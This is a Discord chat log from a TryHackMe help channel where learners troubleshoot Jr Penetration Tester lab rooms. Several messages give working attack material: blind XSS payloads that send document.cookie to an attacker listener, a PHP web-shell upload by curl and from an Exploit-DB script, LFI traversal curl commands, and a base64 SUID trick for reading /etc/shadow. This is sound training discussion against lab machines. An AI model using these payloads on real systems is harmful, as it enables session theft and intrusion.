https://media.discordapp.net/attachments/900054524373397574/966677562694709288/unknown.png

[shadow echo]

You have to verify in order to be able to send screenshots in here

!docs verify

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[orchid bobcat]

if you check on last question it require either to connect throught two methods an i prefer nc but whenever i connect and enter that payload on comment i don get the cookies

[shadow echo]

Best to verify and send a screenshot, as well as the full payload you are using and the full URL of the target machines webpage you are on

[orchid bobcat]

</textarea><script>fetch('http://myturnel:9001?cookie=' + btoa(document.cookie) );</script>

[shadow echo]

If you disguise the IP it's hard to tell if you are using the right one.
Also please let me have the full URL of the target machines webpage you are on

If you open the ticket on your own, are you able to receive your own session cookie ?

[orchid bobcat]

i once got a session cookie but when i decoded the answer was not correct

[orchid bobcat]

what ip shouli i use ? my turnel ip or machine ip?

[shadow echo]

Yes, this is due to that you opened the ticket on your own, therefore only received your own session cookie instead of the one from staff.
Once you generated the ticket you have to wait until the automation behind it gets triggered and opens the ticket as a staff member.
If you don't receive it within 1 - 2 mins, restart the target machine, if it's still not working after that, restart the target machine and try to catch the cookie on the attackbox

[shadow echo]

If you are on your own machine, then the tun0 IP, yes.
Also, I asked you for the full URL of the webpage for the 3rd time now ^^

[orchid bobcat]

thanks

[next lance]

Gave +1 Rep to @shadow echo

[orchid bobcat]

lem try again

[fossil crest]

is it okay to start offensive pentesting after pre-security or should i start jr penetration tester after pre-security need suggestions🙂

[cinder forge]

If you have no significant additional experience, you should do jr. Pentest first

[mystic plume]

Is there any way to copy command from room to attack box ?

or other way at least ?

[remote iris]

Yeah, there is a little grey square.

Or triangle? on the left hand side of the attackbox

or there is arrow buttons down the bottom to put it in full screen mode.

[mystic plume]

oh

xD

thanks

I lost like 1 hour trying to manually type command which I got wrong obv

[remote iris]

Ouch, well, it's good you know now. 🙂

[mystic plume]

Is it necessary to clean this .txt file to only include result without this status and size to work for brute force on login ?

using ffuf

[mystic plume]

yea it need to cleaned out, not sure if there is way to get this output already in this simple text format and what is best way to clean it afterwards

[rustic totem]

you only need usernames not that status stuffs

[rustic totem]

it will not take a long time to type again in a new text file

[mystic plume]

How do you format output diffrently then ? This seems to be default output of previous command

I just edited file manually, because it was short

[rustic totem]

when i did this room i typed the username manually

[mystic plume]

Just wanted to pass

[south sinew]

Anyone have to do a 4th interview with a ceo?

I passed 3 interviews and they did not involve me speaking with someone , I had to hack 2 websites for the first 2 and find issues in code for the 3rd interview

Yes I noticed after lol. Btw mango lassi over everything

No I have been referred

[mystic plume]

Is there any other way to escape .php ? I am trying null byte exploit as explained, but it's not working.

tried 0x00 and \0 but none worked

hmm, how to make sure I am sending null byte ?
I am not sure what are you referring when you say encoding ? This is post request so no URL encoding should be present here.

Well this is body of request, it's not send via URL

multipart/form-data; boundary=<calculated when request is sent>

lol copy paste 😢

machine died on me

meh

can't try

Btw where is best place to host single php file for this chall ?
I tried on local python server but it doesn't allow for any routing just directory listing

yeah I know, will figure out how to allow some routing to files for that python server

well I added hosts to python server so I can access it under example.com:8000

it lists all files

but example.com:8000/hostname.php is not working

oh right lol

btw is are servers dead ?

can't connect to machine

yeah but lost requests I had

Still can't get this null byte exploit, I changed header as advised but it's still reading it as regular string

yea

Thanks for help, I am done for tonight, got all flags except one, gonna leave that for tomorrow since I am not familiar with burp suite. Good night !

[next lance]

Gave +1 Rep to @steel nymph

[rustic totem]

dont use that input field play with only URL 😉

[mystic plume]

Will try, tho already it cuts all path travels chars and it's not possible to escape them just by doubling them

[rustic totem]

url worked perfect for me in LFI Jr pentester

[mystic plume]

It worked for lab1 or 2, one was reading path for cookie, one required you to use post instead of get. Hint for this one is that not everything is filtered out, post is working for most of part just can't escape .php at the end

Maybe filter is on client side wiill try using url directly

[winged dagger]

So I have completed the whole Jr.Pentester Path

[remote iris]

The event ticket ended.

Months ago.

[winged dagger]

Ohhk

[mystic plume]

@steel nymph Getting a bit frustrated, I know it's just small detail.
No luck with curl either .

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -B -d "file=../../../../etc/flag3%2500" http://10.10.5.21/challenges///chall3.php?file=welcome

It won't interpret that stupid null byte as it's suppose to

wrong one

%2500

I tried with %20 but it just added space

can you send me exact command ?

someone is trolling me

Well I put %2500 not %20

so it should result in %00 when decoded

I tried 0x00 too

ok it works lol

no, just a wrong

line

curl -X POST -d "file=../../../../etc/flag30x00" http://10.10.5.21/challenges///chall3.php?file=welcome

\0 ?

I don't get it, %00 - when encoded is %2500, if I send just %00 it doesn't work if I send %2500 it still doesn't work

%00 shouldn't result to anything

well I already provided few commands that I send

curl -X POST -d "file=../../../../etc/flag3%20" http://10.10.5.21/challenges///chall3.php?file=welcome

this is just single encode

yeah missed that one

jeez

thanks

[mystic plume]

Feeling like an junior, with stupid questions and mistakes. Working for 4 years web dev .NET 💩

[mystic plume]

It's very different beeing dev and pentesting or cyber sec. in general at least that is my first impression. In cyber sec. you need to go into every small detail

[lusty frost]

Is Task 8 from https://tryhackme.com/room/xssgi viable in a real-world scenario? What I mean by this is that connecting to the target machine using the HTTPS format (https://lab_web_url.p.thmlabs.com/) instead of just the HTTP one will cause the browser to block the request to our attack machine listening on netcat (after we inject the XSS payload on the "Create Ticket" form), because the listening server is HTTP, so the browser blocks it due to mixed content.

I have tried Nmap's Ncat with --ssl flag, but obviously no browser is going to trust the certificate

Just out of curiosity btw - I have completed the task in any case

[lusty frost]

I see, that's great! Thanks a lot for your help! 🙏

[brittle jetty]

Cross site scripting room task 8 Practical Example........am I missing something or is this room busted? Im using the TryHackMe request catcher but nothing is appearing. I've tried waiting a few minutes and even went back to the ticket

[cinder forge]

Request catcher is broken, use netcat instead

[brittle jetty]

I thought I had everything right. Thanks for the help!

[mystic plume]

@brittle jetty
I was doing that task like 30mins ago, had same doubt why it doesn't work with catcher.
Decided to try first method with netcat and it worked

[violet star]

Why does my connection keep closing out for task 3 of the Protocols and Servers room

[idle bison]

Capital H

[violet star]

I am not sure what you mean

[idle bison]

Headers are technically not case sensitive, but correct host: to Host: and see if it fixes it.

[violet star]

Okay

That didn't work. Do you think I should try another port number( even though this is an HTTP task) .

oh you said 'to Host:'

[shadow echo]

I highly guess you are not pressing enter 2 times, that's the only issue

[violet star]

That could be it. It does say press twice in the instructions

yep that was it

[pastel stream]

Im trying to solve Task 8 of XSS called Practical Example (Blind XSS) but Im not getting any response cookie from the website

This is my payload

And this is my terminal

Am I missing anything? Please guide me

[maiden stratus]

are you connected to the openvpn?
curl 10.10.10.10/whoami should give you your ip if you are

[pastel stream]

Yes

Im connected to openvpn

[maiden stratus]

do you capture your own cookie when you submit it?

[pastel stream]

I didnt capture anything

[maiden stratus]

did anything hit?

[pastel stream]

Nothing

Same as always

Im here to confirm if its a bug or did I make a mistake

[maiden stratus]

I'm trying it now, likely a mistake

hmmm, I'm not getting a respone back either

[pastel stream]

Same

[maiden stratus]

maybe someone else can take a look 🤷‍♂️

[pastel stream]

Hope so

[shadow echo]

I'm pretty certain that 10.2.123.80 is not your tun0 IP, so probably check on that

[idle bison]

That's a US server IIRC?

[sage current]

shadow has 10.11 ip

for tryhackme vpn

[shadow echo]

Is it? Ok, never saw the vpn starting with 10.2 so far

[sage current]

which is the european vip 1 vpn server

[idle bison]

Muir has a list somewhere

[vivid silo]

hey guys if anyone can help me it would be great. Im in linux privesc task 7. i unshadowed the passwd and shadow file and can log in as user2 or gerryconway, however none of them have privileges to read flag3. Am i supposed to look at GUID bits again for these users again and exploit further? or am i missing something

[sage current]

you did not get the root password???

[vivid silo]

no

only Karen, user2 and gerryconway

[sage current]

hmmm

how did you read the /etc/shadow file???

because that one is owned by root

[vivid silo]

base64

decode thingy

[sage current]

what is stopping you from using the same method that you used to read the /etc/shadow file to read the flag file????

[vivid silo]

so i can use bas64decode to read non base64 encoded stuff?

ohhhh

nvm

i get it

thanks lol

so stuff im not supposed to read is encoded in base64 to me?

[sage current]

base64 /path/to/file | base64 --decode

the pipe char is useful

[idle bison]

Which one is suid/has file read?

[sage current]

they are talking about this room task 7 question 3: https://tryhackme.com/room/linprivesc

and in that task you use the base64 binary that has a owner of root and suid bit set

[idle bison]

Ok, so it's base64, that's the answer to my question. That's all good then

[vivid silo]

but how do i know that fla3.txt is base64 encoded?

[idle bison]

It doesn't need to be

You're encoding it with that first command, and then immediately decoding it

[sage current]

^

[vivid silo]

oh wow

that makes sense

cool trick lol

[idle bison]

base64 is being used there because it's running as root and can read the file. This is a misconfiguration on the system, which you're exploiting

[sage current]

the base64 binary can also be used in this way if someone restricts the use of the cat command

binary in this context == executable file

[vivid silo]

makes sense

i noticed some of the binaries cant be found on gtfo bins. is that because there's not exploits for them or they're not executable files?

[sage current]

most of the time no exploits for them.... and sometimes because they are not executables but those are rarer

[idle bison]

If they're custom programs, they won't be on there.

GTFOBins focusses on widely installed linux programs that can be abused for further goals

[vivid silo]

okay cool thanks for the info!

[pastel stream]

It is though, I already checked it out

[winged dagger]

https://tryhackme.com/room/uploadvulns: On this room , I cannot connect to the machine even though I am connected to the THM openvpn and I've also added the line at the end of my etc/hosts (as told to do in task 1)

[idle bison]

I cannot connect to the machine What happens? What doesn't happen? What do you see?

[winged dagger]

shows this

[idle bison]

Ok, and did you read the page and the instructions in the first task?

You cannot access it by IP

[winged dagger]

yes, I did

[idle bison]

I don't think you did, seeing as you are trying to access it by IP address.

[winged dagger]

🤦‍♂️ Ohh sorry! Now I can connect but where it was told to not to connect with Ip.

[idle bison]

You weren't told to connect by IP, you made that assumption and the content told you to connect by VHOST

[winged dagger]

Ohhk. My bad

Thanks for ur help

[royal oasis]

can someone tell me more basic way to learn metasploit

i complete modules

[idle bison]

Offensive Security offer Metasploit Unleashed as a free course for learning metasploit

[royal oasis]

thanks you sir

[barren forge]

finally popped a php reverse shell using rfi

Am literally crying

it's my first shell

[idle bison]

I have good news and bad news

[barren forge]

bad first

[idle bison]

The bad news is RFI is very very rare in real life, in fact in PHP it has to be explicitly enabled for any version from the last 10 years or so.

The good news is you got a shell

[barren forge]

If it has turned obsolete why do we have a room for it

[idle bison]

RFI is a small part of that room

Obsolete tech is still in use, but you make a very valid point

And a few of us have raised that point with the tryhackme team before

[barren forge]

But I was stuck in that for like 2-3 hrs and it was preventing me from completing the room so ..... i got very excited

[idle bison]

That's always good, learning troubleshooting is a critical skill

[pastel stream]

Sir, The attacks which we have learned to do for http domain can also be done for https domain?

[idle bison]

1. Why are you asking me this?
2. Have you researched that information?

[pastel stream]

The solution was to use http for the target website, the target website opened in https for me

[pastel stream]

I was just thinking coz of this ^

http didnt work when the site was opened in https

[idle bison]

Weren't you prompted to read up about mixed content?

#junior-pentester-path message

[pastel stream]

Sorry I didnt know the exact link of that content..

[pastel stream]

Thankx for the link

[idle bison]

You'd find information through research

Research is critical to hacking

[pastel stream]

I see

[pastel stream]

Tried to solve task 8 using netcat but it didnt work.. If you have the same problem u can just type

sudo python -m http.server

And get the port number which is generally 8000.

And paste it in the url with ip.

U will get a GET Request after some time with the staff cookie. It took 2-3 minutes for me to get it.

I see

Thought so coz I tried everything using netcat but to no avail

So shifted to web server

[pastel stream]

Did that too.. Congratz though for first successful shell

[vivid silo]

im done!!

should i do the comptia path or offensive pentesting path next?

[sage current]

pentest plus/comptia path will be quick now

[vivid silo]

Is the comptia exam worth it for employment you think?

[sage current]

well that depends on who you ask and what you are applying for and how much money you have as a resource

[pastel stream]

Congratz bro

[vivid silo]

thanks dude!

[next lance]

Gave +1 Rep to @pastel stream

[rustic totem]

i tried postman sites,insomnia,etc... but nothing seems to work?can anybody let me know my mistake?

[remote iris]

The answer in is the task.

You're literally looking at it.

[rustic totem]

website.thm?

[remote iris]

No.

Think of what the task is asking.

Then look at the last paragraph for text matching it.

I say paragraph, it's really just one big long sentence.

[rustic totem]

i got it

thanks

thanks @remote iris

[next lance]

Gave +1 Rep to @remote iris

[violet star]

Why do you think the connection is refusing for ports FTP ? I tried both 20 and 21. And I am in the netSec challenge room where the only tools you are asked to use are nmap, telnet and hydra.

[rustic totem]

Use -Sv in nmap scan to get the version of ftp

[rustic totem]

How can you say that 20,21 are reserved ports for nonstandardized ftp ports without even scanning?

[violet star]

I have to use the nonstandard port in the example

10021

Of course!

[lethal hearth]

can anyone help me my vmware is lagging a lot I have allotted 8gb of ram with 80gb memory and 4 processors

[spiral pulsar]

someone can help me

[maiden stratus]

maybe run the provided command to install gcc 👀

sudo apt install gcc

[spiral pulsar]

i dont have permission

i am trying to solve linpriv room

[maiden stratus]

I can see you're using wsl, but you should be able to install programs

[spiral pulsar]

i will try again from attackbox

[shadow echo]

If you looking for help, I always suggest adding the room and the task that you are doing to your question.
Regarding that task, it's just showing you how to priv esc if LD_PRELOAD is set.
To solve the room questions, it's not necessary or even possible to do.

[spiral pulsar]

Okay thanks

[next lance]

Gave +1 Rep to @shadow echo

[lethal hearth]

What would the body parameters of the first request that Burp Suite sends be? can anybody help me in this question ?

in battering ram ?

ohkyy

[rustic totem]

Hey, i stuck at Xss room in jr penterster path, actually in the last task(where we have to steal staff cookie) i have setup the perfect listener and i can see my cookies, but staff is not clicking on my ticket?

[remote iris]

VM or attackbox?

[rustic totem]

VM

[remote iris]

What is your machine target ip?

[rustic totem]

Actually after doing many attempts i turned it off for a while, but i know that it starts with 10.11

[remote iris]

If you turned it off it won't matter, haha.

What was your payload?

[rustic totem]

</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>

For the staff i waited 1 hour still nothing... X3

Task stated that you will get cookies in 2-3mins

[remote iris]

Did you use the machine IP or your own THM ip?

[rustic totem]

I used my Own IP that i got from Ovpn

tun0

Bro i did 3-4 times

[remote iris]

I just did it, and got the staff cookie right away

[rustic totem]

Ok in few moments i ll turn it on again and i ll see again if i can get the cookie

Okk

[cinder forge]

Are you using netcat or the request catcher?

[rustic totem]

Py web srvr

[rustic totem]

😦

</textarea><script>fetch('http://<myIP>:8000?cookie=' + btoa(document.cookie) );</script> this the payload that i am using

[idle bison]

Use netcat

[rustic totem]

ok but do i have to terminate the machine and start it from scratch?

[idle bison]

No

[rustic totem]

ok

[idle bison]

It's just your listener that you're changing

[pastel stream]

Check if the target website is in http or https

[rustic totem]

Dude i am using http and i can see my cookie whenever i click on the ticket..

I tried nc even, but nothing worked

[pastel stream]

Not u but the acmeitwebsite

[rustic totem]

I knowwww

I am using http in that website and for my server too

[pastel stream]

Then refer to one of the community forums for the Blind XSS room

One guy wrote the whole walkthrough step by step

Refer it

[pastel stream]

Same

[modest arch]

guys I want to become a junior pentester

which way should I follow

[wicked copper]

hey guys I'm currently on the burp suite room and my site map does not catch the url so I cant get the flag... am i missing something?

[foggy stream]

Hi All, I have a question. Im doing the room "Exploit Vulnerabilities" on task 5 and im trying to figure out a way to upload a php file without using the exploit db EDB-ID:47887 python script. I am trying to use curl to upload the file(i save my php file as test1.php):

curl -X POST -F image=@/root/test1.php -F title=asdf -F author=asdf -F price=1 -F publisher=Apress http://<ip-addr>/admin_add.php

But to no success. I kept getting the same html response without any error showing. My golden question is how does one translate python code

requests.post('http://<ip-addr>/admin_add.php', files={'image': ('test1.php', '<?php echo shell_exec($_GET[\'cmd\']); ?>', 'text/php')}, data={'add':'1'}, verify=False)

to curl

note requests.post('http://<ip-addr>/admin_add.php', files={'image': ('test1.php', '<?php echo shell_exec($_GET[\'cmd\']); ?>', 'text/php')}, data={'add':'1'}, verify=False)

is my way of one lining

url = args.url.rstrip('/')
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))

payload = '<?php echo shell_exec($_GET['cmd']); ?>'

file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)

from the EDB-ID:47887 python script

[foggy stream]

i've figure it out curl -X POST -F image=@/root/test1.php -F add=1 http://10.10.102.118/admin_add.php
works

[tall lark]

Hi, I'm on the File Inclusion room - task 8, and I'm trying to get the first flag, but till now everything I tried didn't work. The hint says: "Change the form method to POST in the page source or use a tool like Burp to modify the method of the request POST." and that's what I'm doing, but for some reason, it's not working out. Could someone help me, please?

[tiny bluff]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[sage current]

just changing it in the proxy of burp will not be enough and you should probably use repeater

[tall lark]

I changed to POST on burp and I also tried with curl command

[tall lark]

I'll try that

[tall lark]

Shoud I edited something else on the Repeater?

I forgot about the URL thing when using POST, thanks

[next lance]

Gave +1 Rep to @steel nymph

[sage current]

content length seems missing too

[tall lark]

Still didn't work, but thanks for trying

[next lance]

Gave +1 Rep to @sage current

[sage current]

welp

[shadow echo]

I don't think challenge 1 is done on the playground page

[violet star]

So I found the exploit for task five of the "Exploit Vulnerabilities" Room on the exploit-db website, and downloaded it to my root machine. when I tried to run the exploit with the " online_bookstore.py -u http://10.10.210.125 -c "whoami"" I get "command not found"

[shadow echo]

You have to prepend ./ to the file in order to run it

[violet star]

so "./online_bookstore.py -u http://10.10.210.125/ -c "whoami""?

[shadow echo]

Yes

Or run it with whatever python version that script is, so like python2 online_bookstore.py

[modest arch]

Completed the Jr pentesting

[violet star]

Do you think I should execute the "chmod +x" command to resolve this "Permission Denied" issue?

[maiden stratus]

yes

[violet star]

Why am I getting this error: ./online_bookstore.py http://10.10.1.2/

I looked at my code and couldn't see the error

[languid aurora]

Try running it as python3 online_bookstore.py http://10.10.1.2/

[violet star]

Thanks, that worked beautifully

[swift spruce]

anyone sat the CREST CRT here

any tips

[rapid jetty]

is blind sqli - time based task bugged on sql injection room? i find table name as ||anayltics_referrers|| but seems like it should be|| users||?

[shadow echo]

No it's not bugged, a database can hold several tables, so after you found the ||analytics_referrer|| table you could have tried if there are some more 🙂

[rapid jetty]

i tried but it didnt find any other tables : (

[shadow echo]

How did you search for the ||users|| table ?

[rapid jetty]

after a long time of struggling i watched a youtube tutorial video explaining the room, and saw there

[shadow echo]

No I mean you said you didn't found any other table, what was the URL you entered to search for that next table ?

[rapid jetty]

i had done something like

||table_name like '%' and table name !=||||'analytics_referrers' ||||||

[rapid jetty]

and it was negative ( sleep function did not execute)

[shadow echo]

I would need to see the full URL, not just parts of it, but you should have been able to find the other table the same way as you found the first one

So going through all the letters

[rapid jetty]

i tried it again to send you the full url and it worked now, how weird..

[rapid jetty]

thanks

[next lance]

Gave +1 Rep to @shadow echo

[shadow echo]

Ye probably just some typo, so that's why always sending the full and exact command/payload you have used to check on that, so best to copy paste or send screenshots of what you have tried in order to be able to catch such typos 🙂

[wicked copper]

Burpsuite sitemap, scope....

[sage current]

is the proxy in intercept mode or are you letting all requests through

[wicked copper]

intercept mode please

I have even added the the ip to the scope

[shadow echo]

So disable intercept, otherwise your requests not going to the webserver and therefore you most likely have nothing in the sitemap

[wicked copper]

okay thanks

[sage current]

or spam the forward button if you wanna continue intercepting for that special one you need to edit

[violet star]

So once I ran the exploit and entered into the environment(This is the Vulnerability Capstone room) do I need to enter a url String for an input?

And they keep taking me to system

So do you think I need to enter a url?

holy moly!

okay

[violet star]

Why does it say max retry exceeded? How do I surpass that? Should I rewrite the exploit that would increase my number of tries

[violet star]

8081. I am gonna restart and try again

Still the same issue :

I tried a different port too. Still the same issue

[violet star]

Fixed the issue

[violet star]

I didn't change what I did other than try the 4444 port

[tribal dawn]

Hi All
I was trying to solve Cross-site Scripting Task 8 Practical Example (Blind XSS) (Jr Pentest Path), but I could not get the reverse call back either by using netcat or the mentioned TryHackMe request catcher. Can anyone help me out to find a way ?

[remote iris]

The request catcher is broken.

[remote iris]

What is the syntax you used for the payload?

[tribal dawn]

</textarea></script><script>fetch('7f4e9600f7c226beba3b5c3f3475b36c.log.tryhackme.tech?cookie=' + btoa(document.cookie));</script>

[remote iris]

Yeah, swap out the 7fe.. etc. and use your tun0 and port so it's like

10.10.xx.xx:9999

9999 can be swapped for anything *except 5 ports on attackbox

[tribal dawn]

you mean to use netcat ?

[remote iris]

Yes.

It works for netcat, I just done it.

[tribal dawn]

Cool thanks will give it a shot right away

[next lance]

Gave +1 Rep to @remote iris

[idle bison]

@merry night this seems an area of trouble, I think guidance suggests request catcher and it's no longer working

[tribal dawn]

Do i need to open the tickets which got created ? ( sounds like then only it could get trigger)

[remote iris]

No,

You'll see the staff cookie on the NC

[idle bison]

Then you'd XSS yourself surely?

[remote iris]

Sometimes the staff cookie is 2-3 mins, sometimes it's 10 seconds.

[tribal dawn]

Nah!

[tribal dawn]

alright got u

[remote iris]

yes

[idle bison]

Well, why not?

Why would opening the ticket in your browser get the admin's cookie?

[remote iris]

I just did it again and it took 10 seconds.

[tribal dawn]

sorry yeah, I just did not understand your question

[tribal dawn]

great! I will try again, until i get that

[remote iris]

Are you using the machine IP or tun0?

[tribal dawn]

I am using tun0

[remote iris]

and adding the port number nc is listening on?

[tribal dawn]

yes, listening on 9999

[remote iris]

seperated by a : ?

These are daft questions, but a few people I've helped used /

[tribal dawn]

</textarea><script>fetch('http://10.X.X.X:9090?cookie=' + btoa(document.cookie));</script>
nc -nlvp 9090

this is my payload and listener but I don't understand where I am going wrong

[remote iris]

is your tun0 not 10.10 ?

no its not nvm me lol

[tribal dawn]

nope 10.8

[white crag]

I'm working on XSS Task#8 as well and it is not working

I've tried nc and request catcher with no results

reset the box several times

Modern browsers block this xss. I wonder if whatever script is running on the machine is broken

Clearly they are simulating a support person logging in and viewing the ticket

[tribal dawn]

I got right now, I prefer to do that over AttackBox

[white crag]

Maybe the VPN version is broken?

I'll try it

[tribal dawn]

don't know the exact reason

[tribal dawn]

yo

[tribal dawn]

what is it with 10.10 ?

[white crag]

My vpn tun0 isn't 10.10

might be the problem

I'm on 10.13

Strange thing is that there isn't a problem on other boxes

Confirmed. It works on the attack box

Must have to do with the subnet

VPN is a /17

attack box is a /16

[idle bison]

10.10 is the target machines or attackbox.

[idle bison]

@primal whale been seeing a lot of this and thinking it might be region related

[white crag]

Looks like both machines are on 10.10

[idle bison]

It's all handled with routing.

[white crag]

Wouldn't work over VPN on 10.13

[idle bison]

That's why I flagged it up with staff, it should

[white crag]

👍

Strange thing is I couldn't get the request catcher to work on my local machine either.

You are right it might be a region issue

[idle bison]

The THM request catcher is very much broken

The person who built it left IIRC

[merry night]

For the xssgi (Cross-site Scripting) room Task 8:
This task now (2022 May 2) can only be completed using the AttackBox using nc.
Method 2 (request catcher) no longer works and has been removed entirely from the task content.

[sage current]

so it works fine with nc if you have a 10.11.x.x ip then????

[merry night]

AttachBox works, with a 10.10.x.x/16

[sage current]

no not the attackbox but the EU vip vpn block of 10.11.x.x

[merry night]

Probably not, it looks like it only works with 10.10.x.x (i.e., have to use the AttackBox)

[sage current]

well that is a bad situation

[merry night]

In general, we only guarantee that rooms will work with the AttackBox. Although most of the time everything works with local attacking machines too, in this case the issue is probably the 10.10.x.x dependency.

[cunning sleet]

spent about an hour on this just now, glad it was already talked about. so use the attackbox then i suppose?

[tall siren]

Greetings all, I'm running the latest burpsuite on Kali Linux. For the Burpsuite:Other Modules Task 4. I get the wrong answer when I use the native burpsuite for decoder, but get the right answer when I apply md5sum in the cmd panel. Am I doing something wrong on burpsuite? I can take a screenshot if that helps.

[modest arch]

Quick question here for you guys, I’m currently trying to do this practice Challange on the Burp Suite repeater.“See if you can get the server to error out with a "500 Internal Server Error" code by changing the number at the end of the request to extreme inputs. What is the flag you receive when you cause a 500 error in the endpoint?”

I’m trying to get to a server error, but I can’t seem to get there. Any guidance?

Nevermind, Figured it out after playing around with it

[tall siren]

I figured out my question too... If you just select the text you'll get a wrong answer. you have to select the entire line. That's why md5sum is touchy. Thanks anyways folks. I hope this helps someone else who runs into this issue.